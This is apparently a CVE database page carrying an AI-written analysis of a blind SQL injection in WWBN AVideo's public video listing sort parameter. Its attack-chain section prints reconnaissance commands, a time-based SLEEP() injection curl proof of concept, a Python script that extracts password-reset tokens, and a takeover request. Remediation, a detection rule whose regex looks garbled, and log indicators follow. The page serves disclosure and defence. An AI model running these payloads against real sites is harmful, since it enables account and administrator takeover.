CVE Professor
/
All CVEs
CVE-2026-145040

CVE-2026-145040 — CWE-89

CRITICAL CVSS 9.8 NVD

WWBN AVideo before 29.9.0 contains a blind sql injection vulnerability that allows unauthenticated attackers to infer database contents by supplying unsafe sort keys to the public video listing ORDER BY clause. Attackers can extract users.recoverPass password reset tokens to take over any account with a publicly listed video, including administrators.

WWBN AVideo before 29.9.0 contains a blind sql injection vulnerability that allows unauthenticated attackers to infer database contents by supplying unsafe sort keys to the public video listing ORDER BY clause. Attackers can extract users.recoverPass password reset tokens to take over any account with a publicly listed video, including administrators.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑145040 is a blind SQL injection (CWE‑89) that occurs in the public video‑listing endpoint of WWBN AVideo versions prior to 29.9.0.
The application builds an SQL query that includes an ORDER BY clause using a user‑supplied “sort key” (e.g., sort=title or sort=1).
The sort key is concatenated directly into the query string without any sanitisation, parameterisation, or whitelist validation. Because the endpoint is publicly reachable and does not require authentication, an unauthenticated attacker can supply arbitrary values that are injected into the ORDER BY clause.

The injection is blind – the application does not return SQL error messages or data directly. Instead, the attacker infers information by observing side‑effects such as response timing or HTTP status codes. The most valuable data that can be extracted is the users.recoverPass column, which stores password‑reset tokens. Once a token is known, the attacker can reset the associated account’s password and take over that account, including administrator accounts that have a publicly listed video.

Key points:

LayerWhat is missingResult
AuthenticationNone – the endpoint is publicUnauthenticated access
Input validationNo sanitisation of the sort parameterArbitrary SQL injection
Query constructionDynamic string concatenationBlind SQL injection via ORDER BY
Error handlingNo error suppression or sanitisationNo direct error feedback, but timing side‑channel is exploitable

The CVSS vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H reflects that the vulnerability is network‑exposed, low‑complexity, no privileges, no user interaction, and can compromise confidentiality, integrity, and availability.


⚡ Attack Chain

Note: The exact endpoint (/videos, /public/videos, etc.) and parameter name (sort, order, etc.) are not specified in the CVE text. The following example uses a typical public listing route and a sort query‑parameter to illustrate the mechanics of the vulnerability.

1. Discovery & Reconnaissance

StepTechniqueTool / Command
Identify the targetScan for WWBN AVideo installationsnmap -p80,443 -A <target>
Locate public video listingManual browsing or automated discoverycurl -I http://<target>/videos
Verify vulnerabilitySend a benign sort value and observe responsecurl -G http://<target>/videos --data-urlencode "sort=title"

If the application returns a normal list of videos, the endpoint is likely the vulnerable one.

2. Exploitation

The attacker uses a time‑based blind injection to extract the first character of a password‑reset token. The payload injects a conditional SLEEP() that delays the response only when the guessed character matches the real one.

Example PoC (illustrative)

# Target: http://example.com/videos
# Parameter: sort
# Payload: 1 ORDER BY IF((SELECT SUBSTRING(users.recoverPass,1,1)='a'), SLEEP(5), 0)

curl -G "http://example.com/videos" \
     --data-urlencode "sort=1 ORDER BY IF((SELECT SUBSTRING(users.recoverPass,1,1)='a'), SLEEP(5), 0)" \
     -w "\nTime: %{time_total}s\n"

If the response time is ~5 s, the first character is a; otherwise it is not.

The attacker repeats this for all 26 letters (and digits, symbols) to discover the first character, then moves to the second character, and so on, until the entire token is reconstructed.

Automated extraction script (Python‑like pseudocode)

import requests, time

BASE = "http://example.com/videos"
CHARSET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_"

def get_token():
    token = ""
    while True:
        found = False
        for c in CHARSET:
            payload = f"1 ORDER BY IF((SELECT SUBSTRING(users.recoverPass,{len(token)+1},1)='{c}'), SLEEP(5), 0)"
            r = requests.get(BASE, params={"sort": payload})
            if r.elapsed.total_seconds() > 4.5:   # threshold for sleep
                token += c
                found = True
                print(f"Found char {len(token)}: {c}")
                break
        if not found:
            break
    return token

token = get_token()
print("Recovered token:", token)

Once the full token is known, the attacker can reset the password:

# Assume the reset endpoint is /reset?token=...
NEW_PASS="P@ssw0rd123"
curl -X POST "http://example.com/reset?token=$token" \
     -d "new_password=$NEW_PASS&confirm_password=$NEW_PASS"

After the reset, the attacker logs in with the new password.

3. Post‑Exploitation

GoalTechnique
Account takeoverUse the recovered token to reset the password of the target user (often an admin).
Privilege escalationOnce logged in as an admin, the attacker can create new admin users, modify site settings, or exfiltrate data.
PersistenceCreate a new admin account or add the attacker’s user to the admin group.
Data exfiltrationDump the users table or other sensitive tables via further SQL injection or by using the admin UI.

Because the vulnerability allows extraction of any user’s reset token as long as that user has a publicly listed video, the attack surface is large: even low‑privilege users can be compromised, and the attacker can chain to higher‑privilege accounts.


🌍 Real World Impact

ImpactExplanation
Confidentiality (C = H)Password‑reset tokens are effectively *one‑time passwords*. Knowing them allows an attacker to reset any user’s password, thereby gaining full access to all user data.
Integrity (I = H)Once the attacker has admin rights, they can modify or delete content, alter user roles, and tamper with configuration files.
Availability (A = H)The attacker can delete videos, corrupt the database, or perform denial‑of‑service actions by flooding the endpoint with injection payloads.

Practical consequences

  • Immediate account takeover of any user with a public video, including administrators.
  • Full site compromise if the attacker escalates privileges.
  • Data loss or corruption if the attacker deletes or modifies records.
  • Reputational damage due to loss of user trust and potential regulatory fines (GDPR, CCPA, etc.).

  • 🛡️ Remediation & Mitigation

    1. Exact affected versions

  • All releases of WWBN AVideo prior to 29.9.0 are vulnerable.
  • Upgrade to 29.9.0 or later (the patch removes the unsanitised ORDER BY construction and uses parameterised queries).
  • 2. Workarounds

    MitigationHow to implement
    Disable public video listingIf the site does not need to expose videos publicly, remove or protect the /videos endpoint behind authentication or a firewall rule.
    Input validation / whitelistingRestrict the sort parameter to a predefined set of column names (e.g., title, date, views). Reject any value that is not in the whitelist.
    Use parameterised queriesRefactor the code to build the ORDER BY clause using a safe mapping rather than string concatenation.
    WAF / ModSecurity ruleDeploy a rule that blocks suspicious ORDER BY injections. Example ModSecurity rule (illustrative):<br>SecRule REQUEST_URI "@beginsWith /videos" "phase:2,chain,block,msg:'SQLi ORDER BY'"\nSecRule ARGS:sort "@rx ORDER\s+BY\s+.*(SLEEPIFUNIONSELECTFROMWHEREGROUPHAVINGLIMIT)"

    3. Detection

    IndicatorLog patternHow to spot it
    Repeated ORDER BY injectionsGET /videos?sort=1 ORDER BY IF((SELECT ...Look for ORDER BY in query strings with SQL keywords.
    Time‑based delaysResponse time > 5 s for identical requestsMonitor response latency; sudden spikes may indicate injection attempts.
    Error logsMySQL error messages (e.g., “SQL syntax”)Even though the app is blind, some servers may log errors.

    Sample log snippet

    2026-12-04 14:32:07 GET /videos?sort=1%20ORDER%20BY%20IF((SELECT%20SUBSTRING(users.recoverPass,1,1)='a'),SLEEP(5),0) 200 5.02s

    If you see a pattern of such requests, investigate the endpoint and consider blocking or rate‑limiting.

    4. Patch deployment

    StepAction
    Verify versioncurl -s http://<target>/version or check the admin panel.
    BackupTake a full backup of the database and files.
    UpgradeFollow the official WWBN AVideo upgrade guide to 29.9.0 or later.
    TestRun the PoC against the upgraded instance to confirm the vulnerability is closed.
    MonitorKeep an eye on logs for any residual injection attempts.

    ⚠️ Urgency

  • CVSS score 9.8 (Critical) indicates a high‑risk flaw that can be exploited remotely with minimal effort.
  • No known public exploit yet, but the vulnerability is highly actionable and could be weaponised quickly.
  • No CISA KEV status – the flaw is not yet in the KEV list, but that does not diminish its severity.
  • Exploit complexity: Low (no authentication, no UI interaction).
  • Patch availability: Immediate upgrade to 29.9.0 or later.
Priority: P1 – Immediate. All affected installations should be patched or mitigated as soon as possible. If an upgrade is not feasible, implement the input‑validation whitelist and WAF rule as a temporary containment measure.
[🤖 CVE Professor AI Security Engine]
Target Reconnaissance Queries (FOFA & Shodan)
CVSS Score
9.8 / 10 · CVSS CRITICAL
Weakness Types (CWE)
References & Advisories (2)
Related CVEs
9.9
CVE-2026-45262
FacturaScripts is an open source accounting and invoicing software. Prior to version 2026.2, Core/Where.php::s
9.3
CVE-2026-136358
Joomla Extension - joomboost.com - Unauthenticated SQL injection in JoomMedia extension 1.0.0-6.1.5 - The list
9.3
CVE-2026-136369
Joomla Extension - joomboost.com - Unauthenticated SQL injection in JoomInvoice extension 1.0.0-6.5.2 - Inputs
9.3
CVE-2026-136376
Joomla Extension - joomboost.com - SQL injection in search time filters in JoomRecipe extension 1.0.0-6.9.8 -
9.3
CVE-2026-77432
activity_notification provides integrated user activity notifications for Ruby on Rails. Prior to version 2.7.
9.2
CVE-2026-145153
LangChain4j before 1.5.4-beta11, 1.11.12-beta19, 1.19.4-beta29, and 1.23.0-beta33 contains an injection vulner
8.8
CVE-2026-144665
Supabase Studio before commit 0433eeb5f5cc (supabase/studio Docker image before 2026.06.01-sha-a4334a2) contai